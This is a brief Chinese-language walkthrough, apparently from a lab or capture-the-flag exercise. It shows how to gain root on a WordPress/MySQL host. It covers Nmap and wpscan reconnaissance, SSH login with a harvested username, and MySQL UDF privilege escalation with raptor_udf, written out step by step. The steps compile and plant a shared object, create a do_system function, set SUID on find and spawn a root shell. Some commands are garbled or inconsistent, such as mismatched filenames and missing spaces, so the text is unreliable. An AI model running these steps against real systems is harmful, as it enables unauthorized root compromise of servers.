mysql提权源码_mysql提权

Namp 扫描ip端口

Cms 探测 wpscan kali 工具

Wpscan 扫描出来用户名。用用户名登录ssh

然后利用mysql UDF提权。

1.gcc -g -c raptor_udf.c 编译一下下载的c文件

2.gcc -g -shared -Wl,-soname,raptor_udf.so -o raptor_udf.so raptor_udf.o -lc

3.登录mysql

4.Create table foo(line blob);

5.scp raptor_udf2.so michael@192.168.111.136:/var/www/html/wordpress/

6.第五步是用来传递文件到目标服务器上的

7.Insertintofoovalues(load_file('/var/www/html/wordpress/raptor_udf5.so'));

8.select * from foo into dumpfile '/usr/lib/mysql/plugin/aaa.so'；

9.create function do_system returns integer soname 'aaa.so';

10.select do_system('id > /tmp/out; chown michael.michael /tmp/out');

11.!Sh

12.cat /tmp/out

13.加载 select do_system('chmod u+s /usr/bin/find');

14.然后推出mysql 直接用

touch foo

find foo -exec 'whoami' ;

find foo -exec 'id' ;

find foo -exec '/bin/sh' ;

就是root权限